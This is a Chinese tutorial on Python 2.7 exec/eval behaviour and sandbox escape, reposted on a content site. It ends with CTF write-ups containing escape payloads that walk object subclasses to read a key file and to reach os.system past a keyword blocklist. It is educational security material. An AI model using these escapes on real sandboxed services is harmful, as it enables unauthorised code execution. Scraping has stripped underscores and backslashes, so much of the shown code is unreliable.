最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 科技 - 知识百科 - 正文

分析Python沙箱逃逸问题

来源:动视网 责编:小采 时间:2020-11-27 14:25:34
文档

分析Python沙箱逃逸问题

分析Python沙箱逃逸问题:[TOC](基于 Python 2.7)在解决 Python 沙箱逃逸这个问题之前,需要先了解 Python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。0x00 表达式的执行用执行某个表达式的内容,可以使用 exec 或 e
推荐度:
导读分析Python沙箱逃逸问题:[TOC](基于 Python 2.7)在解决 Python 沙箱逃逸这个问题之前,需要先了解 Python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。0x00 表达式的执行用执行某个表达式的内容,可以使用 exec 或 e


[TOC]
(基于 Python 2.7)
在解决 Python 沙箱逃逸这个问题之前,需要先了解 Python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。

0x00 表达式的执行

用执行某个表达式的内容,可以使用 execeval 来进行。

0x01 exec

exec_stmt: "exec" expression ["in" expression ["," expression]]

其中,["in" expression ["," expression]]是可选表达式。

1,对代码/字符串进行操作

exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42

也可以执行多行代码,用三个引号括起来就可以:

a = 0
exec"""for _ in range(input()):
 a += 1
"""
print a

2,文件操作

execfile

一方面可以使用 execfile,它的作用是执行这个文件的内容

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:UsersThinkDesktoppytest.txt')

pytest.py的输出结果为:

Gou Li Guo Jia Sheng Si Yi

execfile执行了pytest.txt里的内容,注意是执行而非读取,如果pytest.txt中的内容是'Gou Li Guo Jia Sheng Si Yi',那么将不会得到任何输出。
当然,执行一个 .py 文件也是可以的。而执行 .txt 文件的要求是,txt 文件中的内容是 ASCII 。最好还是执行一个 .py 文件而非 txt 文件。

这种执行其实是将 execfile 所指向的文件的内容直接 copy 过去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:UsersThinkDesktopMo.py')
print a

此时,pytest 的结果为:

稻花香里说丰年,听取蛤声一片
2

其实就是完全地执行一遍文件里的内容……而不是当做函数调用来执行。

直接使用 exec 进行操作

直接使用 exec ,也是执行文件的内容,但是可以使用 in 表达式来使用 Global 变量域。

#C:UsersThinkDesktop	est1.txt
print poetry
#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:UsersThinkDesktop	est1.txt') in result

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

输出结果为

111

exec 的 globals / locals 参数的使用方法

exec支持两个可选参数,不支持关键字指定参数。
Python 采用的是静态作用域(词法作用域)规则,类似于 C++,在该函数内该变量可用,在函数外不可用。
在 Pascal 语言中,采用的是动态作用域,也就是说,一旦函数被执行,该变量就会存在。例如,在函数 g 当中套了个函数 f,程序执行到f时,会在f中寻找表达式中的变量,如果找不到,就往外层找,此时g中若存在这个变量,则使用该变量,若不存在,继续向外逐层查找。
需要注意的是, exec是语法声明(statement),而非函数(function),而execfile 是函数。
原因如下:
exec中直接打印外部变量:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#
结果为 456

在函数中打印外部变量:

b = 42
tup1 = (123,456,111)
def pr():
 print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined

LEGB 规则

exec 中的 globals 参数

exec_stmt: "exec" expression ["in" expression ["," expression]]

globalsdict 对象,它指定了 exec 中需要的全局变量。

  • globlas等价于globals()

  • locals等价于globals参数的值

  • 1,globals

    #coding:utf-8
    k = {'b':42}
    exec ("a = b + 1",k)
    print k['a'],k['b']
    #结果:
    #43 42

    在段代码中,exec中的值是locals,它来源于指定的k,即globals.
    并且,globals 取于全局变量,作用于全局变量。

    2,locals

    g = {'b':100}
    exec("""age = b + a
    print age
     """,g,{'a':1})
    #结果:
    #101

    比较:

    g = {'b':100,'a':2}
    exec("""age = b + a
    print age
     """,g,{'a':1})
    
    #结果:
    #101

    可以看到,相对于exec来说,其内部具有三个变量,即 age,b,a
    在制定之后,b 来自 g (global),而 a 来自自定的 local 变量。
    由此可见,local 取于局部变量,作用于局部变量。
    为了验证这一结论,对稍加修改:

    g = {'b':100}
    exec("""age = b + a
    print age
     """,g,{'a':1})
    
    print g['a']
    #结果:
    #101
    # print g['a']
    #KeyError: 'a'

    可以看到,a并没有作用于字典 g(全局的),而上面第一小节提到的globals中,键值a已经填入了全局的字典g.

    exec 使用结论

    可以做出以下结论:
    我们将exec之后包括的内容分为三个部分:p1、p2、p3

    exec ("""p1""",p2,p3)
    1. 第一部分 p1,其中的内容是,就是要执行的内容;

    2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3p1中的结果会传回全局变量;

    3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

    exec 反汇编

    #use `exec` source code
    import dis
    def exec_diss():
     exec "x=3"
    
    dis.dis(exec_diss)
    # use `exec` disassembly
     4 0 LOAD_CONST 1 ('x=3')
     3 LOAD_CONST 0 (None)
     6 DUP_TOP 
     7 EXEC_STMT 
     8 LOAD_CONST 0 (None)
     11 RETURN_VALUE
    #not use `exec` scource code
    import dis
    def exec_diss():
     x=3
    
    dis.dis(exec_diss)
    #not use exec disassembly
     3 0 LOAD_CONST 1 (3)
     3 STORE_FAST 0 (x)
     6 LOAD_CONST 0 (None)
     9 RETURN_VALUE

    指令解释在这里:http://www.gxlcms.com/
    简要说明下,TOStop-of-stack,就是栈顶。
    LOAD_CONST是入栈,RETURN_VALUE 是还原esp
    其中两者的不同之处在于:

    # use `exec` disassembly
    6 DUP_TOP #复制栈顶指针
    7 EXEC_STMT #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

    也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

    0x02 eval

    eval用以动态执行其后的代码,并返回执行后得到的值。

    eval(expression[, globals[, locals]])

    eval也有两个可选参数,即 globalslocals
    使用如下:

    print eval("1+1")
    #result:
    #2

    eval 的 globals / locals 参数的使用方法

    1,globals
    类似于 exec:

    g = {'a':1}
    print eval("a+1",g)
    
    #result:
    #2

    2,locals

    k = {'b':42}
    print eval ("b+c",k,{'c':2})
    #result:
    #44

    eval反汇编

    #use_eval
    import dis
    def eval_dis():
     eval ("x = 3")
    
    dis.dis(eval_dis)
    #use_eval_disassembly
     3 0 LOAD_GLOBAL 0 (eval)
     3 LOAD_CONST 1 ('x = 3')
     6 CALL_FUNCTION 1
     9 POP_TOP 
     10 LOAD_CONST 0 (None)
     13 RETURN_VALUE

    比较:

    #not_use_eval
    import dis
    def no_eval_dis():
     x = 3
    
    dis.dis(no_eval_dis)
    #not_use_eval_disassembly
     3 0 LOAD_CONST 1 (3)
     3 STORE_FAST 0 (x)
     6 LOAD_CONST 0 (None)
     9 RETURN_VALUE

    同样是建栈之后执行。

    1x00 exec 和 eval 的区别

    exec无返回值:

    exec ("print 1+1")
    #result:
    #2

    如果改成

    print exec("1+1")

    这就会因为没有返回值(不存在该变量而报错)。
    eval 是有返回值的:

    eval ("print 1+1")
    #result:
    #SyntaxError: invalid syntax

    如果想要打印,则必须在 eval之前使用print
    但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

    1x01确定RETURN_VALUE来源

    为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

    import dis
    def exec_diss():
     exec "x=3"
     return 0
    
    dis.dis(exec_diss)
    3 0 LOAD_CONST 1 ('x=3')
     3 LOAD_CONST 0 (None)
     6 DUP_TOP 
     7 EXEC_STMT 
    
     4 8 LOAD_CONST 2 (0)
     11 RETURN_VALUE

    对比eval的:

    import dis
    def eval_diss():
     eval ("3")
     return 0
    
    dis.dis(eval_diss)
     3 0 LOAD_GLOBAL 0 (eval)
     3 LOAD_CONST 1 ('3')
     6 CALL_FUNCTION 1
     9 POP_TOP 
    
     4 10 LOAD_CONST 2 (0)
     13 RETURN_VALUE

    对比 evalexec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS
    在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
    而最后的 RETURN_VALUE,很明显可以看出并非evalexec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
    可以写段不包含这两者的代码来验证:

    import dis
    def no():
     a = 1+1
    
    dis.dis(no)
     3 0 LOAD_CONST 2 (2)
     3 STORE_FAST 0 (a)
     6 LOAD_CONST 0 (None)
     9 RETURN_VALUE

    所以,RETURN_VALUE是每个程序正常运行时就有的。

    2x00 eval 的危险性

    2x01 先期知识

    在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
    调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

    >>> import('os').system('dir')

    或者:

    >>> import os
    >>> os.system('dir')

    也可以达到这个目的。
    这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

    with open('example.txt') as f:
     s = f.read().replace('
    ', '')
    
    print s

    如果有一个功能,设计为执行用户所输入的内容,如

    print eval("input()")

    此时用户输入1+1,那么会得到返回值 2。若前述的

    os.system('dir')

    则会直接列出用户目录。
    但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
    然而,可以自己导入这个模块嘛。

    import('os').system('dir')

    这样就可以继续显示文件了。
    如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

    >>> dir('builtins')
    ['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

    这样,就可以写成:

    eval("input()",{'builtins':{}})

    就可以其只能使用内置的函数。
    同时也可以将内置模块置为None,如:

    env = {}
    env["locals"] = None
    env["globals"] = None
    eval("input()", env)

    但是这种情况下builtionsbuitin的引用依然有效。

    s = """
    (lambda fc=(
     lambda n: [
     c for c in 
     ().class.bases[0].subclasses() 
     if c.name == n
     ][0]
     ):
     fc("function")(
     fc("code")(
     0,0,0,0,"KABOOM",(),(),(),"","",0,""
     ),{}
     )()
    )()
    """
    eval(s, {'builtins':{}})

    (来自:http://www.gxlcms.com/)
    为了创建一个object,要通过

    ().class.bases[0]

    bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

    lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object
    这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

    从上述情况来看,eval是不安全的。

    3x00 Python 沙箱逃逸

    3x01 第一题

    这是一道 CTF 题目,只给了这个:

    def make_secure():
     UNSAFE = ['open',
     'file',
     'execfile',
     'compile',
     'reload',
     'import',
     'eval',
     'input']
     for func in UNSAFE:
     del builtins.dict[func]
    
    from re import findall
    # Remove dangerous builtins
    make_secure()
    print 'Go Ahead, Expoit me >;D'
    
    while True:
     try:
     # Read user input until the first whitespace character
     inp = findall('S+', raw_input())[0]
     a = None
     # Set a to the result from executing the user input
     exec 'a=' + inp
     print 'Return Value:', a
     except Exception, e:
     print 'Exception:', e

    make_secure这个模块很好理解,看看下边的:

    from re import findall

    这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
    把这一部分单独抽离出来尝试一下:

    from re import findall
    
    inp = findall('S+',raw_input())[0]
    a = None
    exec 'a = ' +inp
    print 'Return Value:',a

    运行后输入 1+1,返回结果为2.
    构造
    之前已经说过可以利用

    ().class.bases[0].subclasses()

    在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

    ().class.bases[0].subclasses()[40]("./key").read()

    第二题

    #!/usr/bin/env python 
    from future import print_function
     
    print("Welcome to my Python sandbox! Enter commands below!")
     
    banned = [ 
     "import",
     "exec",
     "eval",
     "pickle",
     "os",
     "subprocess",
     "kevin sucks",
     "input",
     "banned",
     "cry sum more",
     "sys"
    ]
     
    targets = builtins.dict.keys() 
    targets.remove('raw_input') 
    targets.remove('print') 
    for x in targets: 
     del builtins.dict[x]
     
    while 1: 
     print(">>>", end=' ')
     data = raw_input()
     
     for no in banned:
     if no.lower() in data.lower():
     print("No bueno")
     break
     else: # this means nobreak
     exec data
    [x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

    4x00 blue-lotus MISC - pyjail Writeup

    给了这个:

    #!/usr/bin/env python
    # coding: utf-8
    
    def del_unsafe():
     UNSAFE_BUILTINS = ['open',
     'file',
     'execfile',
     'compile',
     'reload',
     'import',
     'eval',
     'input'] ## block objet?
     for func in UNSAFE_BUILTINS:
     del builtins.dict[func]
    
    from re import findall
    del_unsafe()
    
    print 'Give me your command!'
    while True:
     try:
     inp = findall('S+', raw_input())[0]
     print "inp=", inp
     a = None
     exec 'a=' + inp
     print 'Return Value:', a
     except Exception, e:
     print 'Exception:', e

    比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

    文档

    分析Python沙箱逃逸问题

    分析Python沙箱逃逸问题:[TOC](基于 Python 2.7)在解决 Python 沙箱逃逸这个问题之前,需要先了解 Python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。0x00 表达式的执行用执行某个表达式的内容,可以使用 exec 或 e
    推荐度:
    • 热门焦点

    最新推荐

    猜你喜欢

    热门推荐

    专题
    Top